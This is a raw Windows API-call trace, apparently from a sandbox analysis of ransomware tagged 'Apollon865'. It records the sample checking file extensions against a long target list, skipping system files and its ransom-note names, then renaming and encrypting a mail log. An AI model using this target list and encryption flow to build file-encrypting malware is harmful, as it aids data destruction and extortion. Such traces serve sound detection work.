	[0054.861] lstrlenW (lpString="fm5") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fm5") returned 1
	[0054.861] lstrlenW (lpString="fmp") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fmp") returned 1
	[0054.861] lstrlenW (lpString="fmp12") returned 5
	[0054.861] lstrcmpiW (lpString1="b.log", lpString2="fmp12") returned -1
	[0054.861] lstrlenW (lpString="fmpsl") returned 5
	[0054.861] lstrcmpiW (lpString1="b.log", lpString2="fmpsl") returned -1
	[0054.861] lstrlenW (lpString="fol") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fol") returned 1
	[0054.861] lstrlenW (lpString="fp3") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fp3") returned 1
	[0054.861] lstrlenW (lpString="fp4") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fp4") returned 1
	[0054.861] lstrlenW (lpString="fp5") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fp5") returned 1
	[0054.861] lstrlenW (lpString="fp7") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fp7") returned 1
	[0054.861] lstrlenW (lpString="fpt") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="fpt") returned 1
	[0054.861] lstrlenW (lpString="frm") returned 3
	[0054.861] lstrcmpiW (lpString1="log", lpString2="frm") returned 1
	[0054.861] lstrlenW (lpString="gdb") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0054.862] lstrlenW (lpString="gdb") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="gdb") returned 1
	[0054.862] lstrlenW (lpString="grdb") returned 4
	[0054.862] lstrcmpiW (lpString1=".log", lpString2="grdb") returned -1
	[0054.862] lstrlenW (lpString="gwi") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="gwi") returned 1
	[0054.862] lstrlenW (lpString="hdb") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="hdb") returned 1
	[0054.862] lstrlenW (lpString="his") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="his") returned 1
	[0054.862] lstrlenW (lpString="ib") returned 2
	[0054.862] lstrcmpiW (lpString1="og", lpString2="ib") returned 1
	[0054.862] lstrlenW (lpString="idb") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="idb") returned 1
	[0054.862] lstrlenW (lpString="ihx") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="ihx") returned 1
	[0054.862] lstrlenW (lpString="itdb") returned 4
	[0054.862] lstrcmpiW (lpString1=".log", lpString2="itdb") returned -1
	[0054.862] lstrlenW (lpString="itw") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="itw") returned 1
	[0054.862] lstrlenW (lpString="jet") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="jet") returned 1
	[0054.862] lstrlenW (lpString="jtx") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="jtx") returned 1
	[0054.862] lstrlenW (lpString="kdb") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="kdb") returned 1
	[0054.862] lstrlenW (lpString="kexi") returned 4
	[0054.862] lstrcmpiW (lpString1=".log", lpString2="kexi") returned -1
	[0054.862] lstrlenW (lpString="kexic") returned 5
	[0054.862] lstrcmpiW (lpString1="b.log", lpString2="kexic") returned -1
	[0054.862] lstrlenW (lpString="kexis") returned 5
	[0054.862] lstrcmpiW (lpString1="b.log", lpString2="kexis") returned -1
	[0054.862] lstrlenW (lpString="lgc") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="lgc") returned 1
	[0054.862] lstrlenW (lpString="lwx") returned 3
	[0054.862] lstrcmpiW (lpString1="log", lpString2="lwx") returned -1
	[0054.862] lstrlenW (lpString="maf") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="maf") returned -1
	[0054.863] lstrlenW (lpString="maq") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="maq") returned -1
	[0054.863] lstrlenW (lpString="mar") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mar") returned -1
	[0054.863] lstrlenW (lpString="marshal") returned 7
	[0054.863] lstrlenW (lpString="mas") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mas") returned -1
	[0054.863] lstrlenW (lpString="mav") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mav") returned -1
	[0054.863] lstrlenW (lpString="maw") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="maw") returned -1
	[0054.863] lstrlenW (lpString="mdbhtml") returned 7
	[0054.863] lstrlenW (lpString="mdn") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mdn") returned -1
	[0054.863] lstrlenW (lpString="mdt") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mdt") returned -1
	[0054.863] lstrlenW (lpString="mfd") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mfd") returned -1
	[0054.863] lstrlenW (lpString="mpd") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mpd") returned -1
	[0054.863] lstrlenW (lpString="mrg") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mrg") returned -1
	[0054.863] lstrlenW (lpString="mud") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mud") returned -1
	[0054.863] lstrlenW (lpString="mwb") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="mwb") returned -1
	[0054.863] lstrlenW (lpString="myd") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="myd") returned -1
	[0054.863] lstrlenW (lpString="ndf") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="ndf") returned -1
	[0054.863] lstrlenW (lpString="nnt") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="nnt") returned -1
	[0054.863] lstrlenW (lpString="nrmlib") returned 6
	[0054.863] lstrcmpiW (lpString1="db.log", lpString2="nrmlib") returned -1
	[0054.863] lstrlenW (lpString="ns2") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="ns2") returned -1
	[0054.863] lstrlenW (lpString="ns3") returned 3
	[0054.863] lstrcmpiW (lpString1="log", lpString2="ns3") returned -1
	[0054.864] lstrlenW (lpString="ns4") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="ns4") returned -1
	[0054.864] lstrlenW (lpString="nsf") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="nsf") returned -1
	[0054.864] lstrlenW (lpString="nv") returned 2
	[0054.864] lstrcmpiW (lpString1="og", lpString2="nv") returned 1
	[0054.864] lstrlenW (lpString="nv2") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="nv2") returned -1
	[0054.864] lstrlenW (lpString="nwdb") returned 4
	[0054.864] lstrcmpiW (lpString1=".log", lpString2="nwdb") returned -1
	[0054.864] lstrlenW (lpString="nyf") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="nyf") returned -1
	[0054.864] lstrlenW (lpString="odb") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0054.864] lstrlenW (lpString="odb") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="odb") returned -1
	[0054.864] lstrlenW (lpString="oqy") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="oqy") returned -1
	[0054.864] lstrlenW (lpString="ora") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="ora") returned -1
	[0054.864] lstrlenW (lpString="orx") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="orx") returned -1
	[0054.864] lstrlenW (lpString="owc") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="owc") returned -1
	[0054.864] lstrlenW (lpString="p96") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="p96") returned -1
	[0054.864] lstrlenW (lpString="p97") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="p97") returned -1
	[0054.864] lstrlenW (lpString="pan") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="pan") returned -1
	[0054.864] lstrlenW (lpString="pdb") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="pdb") returned -1
	[0054.864] lstrlenW (lpString="pdm") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="pdm") returned -1
	[0054.864] lstrlenW (lpString="pnz") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="pnz") returned -1
	[0054.864] lstrlenW (lpString="qry") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="qry") returned -1
	[0054.864] lstrlenW (lpString="qvd") returned 3
	[0054.864] lstrcmpiW (lpString1="log", lpString2="qvd") returned -1
	[0054.865] lstrlenW (lpString="rbf") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="rbf") returned -1
	[0054.865] lstrlenW (lpString="rctd") returned 4
	[0054.865] lstrcmpiW (lpString1=".log", lpString2="rctd") returned -1
	[0054.865] lstrlenW (lpString="rod") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="rod") returned -1
	[0054.865] lstrlenW (lpString="rodx") returned 4
	[0054.865] lstrcmpiW (lpString1=".log", lpString2="rodx") returned -1
	[0054.865] lstrlenW (lpString="rpd") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="rpd") returned -1
	[0054.865] lstrlenW (lpString="rsd") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="rsd") returned -1
	[0054.865] lstrlenW (lpString="sas7bdat") returned 8
	[0054.865] lstrlenW (lpString="sbf") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="sbf") returned -1
	[0054.865] lstrlenW (lpString="scx") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="scx") returned -1
	[0054.865] lstrlenW (lpString="sdb") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="sdb") returned -1
	[0054.865] lstrlenW (lpString="sdc") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="sdc") returned -1
	[0054.865] lstrlenW (lpString="sdf") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="sdf") returned -1
	[0054.865] lstrlenW (lpString="sis") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="sis") returned -1
	[0054.865] lstrlenW (lpString="spq") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="spq") returned -1
	[0054.865] lstrlenW (lpString="te") returned 2
	[0054.865] lstrcmpiW (lpString1="og", lpString2="te") returned -1
	[0054.865] lstrlenW (lpString="teacher") returned 7
	[0054.865] lstrlenW (lpString="tmd") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="tmd") returned -1
	[0054.865] lstrlenW (lpString="tps") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="tps") returned -1
	[0054.865] lstrlenW (lpString="trc") returned 3
	[0054.865] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0054.865] lstrlenW (lpString="trc") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="trc") returned -1
	[0054.866] lstrlenW (lpString="trm") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="trm") returned -1
	[0054.866] lstrlenW (lpString="udb") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="udb") returned -1
	[0054.866] lstrlenW (lpString="udl") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="udl") returned -1
	[0054.866] lstrlenW (lpString="usr") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="usr") returned -1
	[0054.866] lstrlenW (lpString="v12") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="v12") returned -1
	[0054.866] lstrlenW (lpString="vis") returned 3
	[0054.866] lstrcmpiW (lpString1="log", lpString2="vis") returned -1
	[0054.866] lstrlenW (lpString="vpd") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="vpd") returned -1
	[0054.867] lstrlenW (lpString="vvv") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="vvv") returned -1
	[0054.867] lstrlenW (lpString="wdb") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="wdb") returned -1
	[0054.867] lstrlenW (lpString="wmdb") returned 4
	[0054.867] lstrcmpiW (lpString1=".log", lpString2="wmdb") returned -1
	[0054.867] lstrlenW (lpString="wrk") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="wrk") returned -1
	[0054.867] lstrlenW (lpString="xdb") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="xdb") returned -1
	[0054.867] lstrlenW (lpString="xld") returned 3
	[0054.867] lstrcmpiW (lpString1="log", lpString2="xld") returned -1
	[0054.867] lstrlenW (lpString="xmlff") returned 5
	[0054.867] lstrcmpiW (lpString1="b.log", lpString2="xmlff") returned -1
	[0054.867] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.Apollon865") returned 72
	[0054.867] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.apollon865"), dwFlags=0x1) returned 1
	[0054.879] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.879] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2097152) returned 1
	[0054.879] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.880] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.880] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0054.881] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.881] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.881] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x200300, lpName=0x0) returned 0x118
	[0054.882] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0054.883] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3270000
	[0055.724] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0055.725] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0055.725] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0055.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0055.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0055.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0055.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0055.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.725] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0055.726] CloseHandle (hObject=0x118) returned 1
	[0055.726] CloseHandle (hObject=0x150) returned 1
	[0055.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0055.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0055.726] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0055.735] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="Apollon865.txt.exe") returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2=".") returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="..") returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="windows") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="bootmgr") returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="temp") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="pagefile.sys") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="boot") returned 1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="ids.txt") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="ntuser.dat") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="perflogs") returned -1
	[0055.735] lstrcmpiW (lpString1="edb00001.log", lpString2="MSBuild") returned -1
	[0055.735] lstrlenW (lpString="edb00001.log") returned 12
	[0055.735] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned 61
	[0055.735] lstrcpyW (in: lpString1=0x119e674, lpString2="edb00001.log" | out: lpString1="edb00001.log") returned="edb00001.log"
	[0055.735] lstrlenW (lpString="edb00001.log") returned 12
	[0055.735] lstrlenW (lpString="Apollon865") returned 10
	[0055.736] lstrcmpiW (lpString1="b00001.log", lpString2="Apollon865") returned 1
	[0055.736] lstrlenW (lpString=".dll") returned 4
	[0055.736] lstrcmpiW (lpString1="edb00001.log", lpString2=".dll") returned 1
	[0055.736] lstrlenW (lpString=".lnk") returned 4
	[0055.736] lstrcmpiW (lpString1="edb00001.log", lpString2=".lnk") returned 1
	[0055.736] lstrlenW (lpString=".ini") returned 4
	[0055.736] lstrcmpiW (lpString1="edb00001.log", lpString2=".ini") returned 1
	[0055.736] lstrlenW (lpString=".sys") returned 4
	[0055.736] lstrcmpiW (lpString1="edb00001.log", lpString2=".sys") returned 1
	[0055.736] lstrlenW (lpString="edb00001.log") returned 12
	[0055.736] lstrlenW (lpString="bak") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="bak") returned 1
	[0055.736] lstrlenW (lpString="ba_") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="ba_") returned 1
	[0055.736] lstrlenW (lpString="dbb") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="dbb") returned 1
	[0055.736] lstrlenW (lpString="vmdk") returned 4
	[0055.736] lstrcmpiW (lpString1=".log", lpString2="vmdk") returned -1
	[0055.736] lstrlenW (lpString="rar") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="rar") returned -1
	[0055.736] lstrlenW (lpString="zip") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="zip") returned -1
	[0055.736] lstrlenW (lpString="tgz") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="tgz") returned -1
	[0055.736] lstrlenW (lpString="vbox") returned 4
	[0055.736] lstrcmpiW (lpString1=".log", lpString2="vbox") returned -1
	[0055.736] lstrlenW (lpString="vdi") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="vdi") returned -1
	[0055.736] lstrlenW (lpString="vhd") returned 3
	[0055.736] lstrcmpiW (lpString1="log", lpString2="vhd") returned -1
	[0055.736] lstrlenW (lpString="vhdx") returned 4
	[0055.736] lstrcmpiW (lpString1=".log", lpString2="vhdx") returned -1
	[0055.736] lstrlenW (lpString="avhd") returned 4
	[0055.736] lstrcmpiW (lpString1=".log", lpString2="avhd") returned -1
	[0055.736] lstrlenW (lpString="db") returned 2
	[0055.737] lstrcmpiW (lpString1="og", lpString2="db") returned 1
	[0055.737] lstrlenW (lpString="db2") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="db2") returned 1
	[0055.737] lstrlenW (lpString="db3") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="db3") returned 1
	[0055.737] lstrlenW (lpString="dbf") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="dbf") returned 1
	[0055.737] lstrlenW (lpString="mdf") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="mdf") returned -1
	[0055.737] lstrlenW (lpString="mdb") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="mdb") returned -1
	[0055.737] lstrlenW (lpString="sql") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="sql") returned -1
	[0055.737] lstrlenW (lpString="sqlite") returned 6
	[0055.737] lstrcmpiW (lpString1="01.log", lpString2="sqlite") returned -1
	[0055.737] lstrlenW (lpString="sqlite3") returned 7
	[0055.737] lstrcmpiW (lpString1="001.log", lpString2="sqlite3") returned -1
	[0055.737] lstrlenW (lpString="sqlitedb") returned 8
	[0055.737] lstrcmpiW (lpString1="0001.log", lpString2="sqlitedb") returned -1
	[0055.737] lstrlenW (lpString="xml") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="xml") returned -1
	[0055.737] lstrlenW (lpString="$er") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="$er") returned 1
	[0055.737] lstrlenW (lpString="4dd") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="4dd") returned 1
	[0055.737] lstrlenW (lpString="4dl") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="4dl") returned 1
	[0055.737] lstrlenW (lpString="^^^") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="^^^") returned 1
	[0055.737] lstrlenW (lpString="abs") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="abs") returned 1
	[0055.737] lstrlenW (lpString="abx") returned 3
	[0055.737] lstrcmpiW (lpString1="log", lpString2="abx") returned 1
	[0055.737] lstrlenW (lpString="accdb") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accdb") returned -1
	[0055.738] lstrlenW (lpString="accdc") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accdc") returned -1
	[0055.738] lstrlenW (lpString="accde") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accde") returned -1
	[0055.738] lstrlenW (lpString="accdr") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accdr") returned -1
	[0055.738] lstrlenW (lpString="accdt") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accdt") returned -1
	[0055.738] lstrlenW (lpString="accdw") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accdw") returned -1
	[0055.738] lstrlenW (lpString="accft") returned 5
	[0055.738] lstrcmpiW (lpString1="1.log", lpString2="accft") returned -1
	[0055.738] lstrlenW (lpString="adb") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0055.738] lstrlenW (lpString="adb") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="adb") returned 1
	[0055.738] lstrlenW (lpString="ade") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="ade") returned 1
	[0055.738] lstrlenW (lpString="adf") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="adf") returned 1
	[0055.738] lstrlenW (lpString="adn") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="adn") returned 1
	[0055.738] lstrlenW (lpString="adp") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="adp") returned 1
	[0055.738] lstrlenW (lpString="alf") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="alf") returned 1
	[0055.738] lstrlenW (lpString="ask") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="ask") returned 1
	[0055.738] lstrlenW (lpString="btr") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="btr") returned 1
	[0055.738] lstrlenW (lpString="cat") returned 3
	[0055.738] lstrcmpiW (lpString1="log", lpString2="cat") returned 1
	[0055.738] lstrlenW (lpString="cdb") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="cdb") returned 1
	[0055.739] lstrlenW (lpString="ckp") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="ckp") returned 1
	[0055.739] lstrlenW (lpString="cma") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="cma") returned 1
	[0055.739] lstrlenW (lpString="cpd") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="cpd") returned 1
	[0055.739] lstrlenW (lpString="dacpac") returned 6
	[0055.739] lstrcmpiW (lpString1="01.log", lpString2="dacpac") returned -1
	[0055.739] lstrlenW (lpString="dad") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="dad") returned 1
	[0055.739] lstrlenW (lpString="dadiagrams") returned 10
	[0055.739] lstrcmpiW (lpString1="b00001.log", lpString2="dadiagrams") returned -1
	[0055.739] lstrlenW (lpString="daschema") returned 8
	[0055.739] lstrcmpiW (lpString1="0001.log", lpString2="daschema") returned -1
	[0055.739] lstrlenW (lpString="db-journal") returned 10
	[0055.739] lstrcmpiW (lpString1="b00001.log", lpString2="db-journal") returned -1
	[0055.739] lstrlenW (lpString="db-shm") returned 6
	[0055.739] lstrcmpiW (lpString1="01.log", lpString2="db-shm") returned -1
	[0055.739] lstrlenW (lpString="db-wal") returned 6
	[0055.739] lstrcmpiW (lpString1="01.log", lpString2="db-wal") returned -1
	[0055.739] lstrlenW (lpString="dbc") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="dbc") returned 1
	[0055.739] lstrlenW (lpString="dbs") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="dbs") returned 1
	[0055.739] lstrlenW (lpString="dbt") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="dbt") returned 1
	[0055.739] lstrlenW (lpString="dbv") returned 3
	[0055.739] lstrcmpiW (lpString1="log", lpString2="dbv") returned 1
	[0055.740] lstrlenW (lpString="dbx") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dbx") returned 1
	[0055.740] lstrlenW (lpString="dcb") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dcb") returned 1
	[0055.740] lstrlenW (lpString="dct") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dct") returned 1
	[0055.740] lstrlenW (lpString="dcx") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dcx") returned 1
	[0055.740] lstrlenW (lpString="ddl") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="ddl") returned 1
	[0055.740] lstrlenW (lpString="dlis") returned 4
	[0055.740] lstrcmpiW (lpString1=".log", lpString2="dlis") returned -1
	[0055.740] lstrlenW (lpString="dp1") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dp1") returned 1
	[0055.740] lstrlenW (lpString="dqy") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dqy") returned 1
	[0055.740] lstrlenW (lpString="dsk") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dsk") returned 1
	[0055.740] lstrlenW (lpString="dsn") returned 3
	[0055.740] lstrcmpiW (lpString1="log", lpString2="dsn") returned 1
	[0055.740] lstrlenW (lpString="dtsx") returned 4
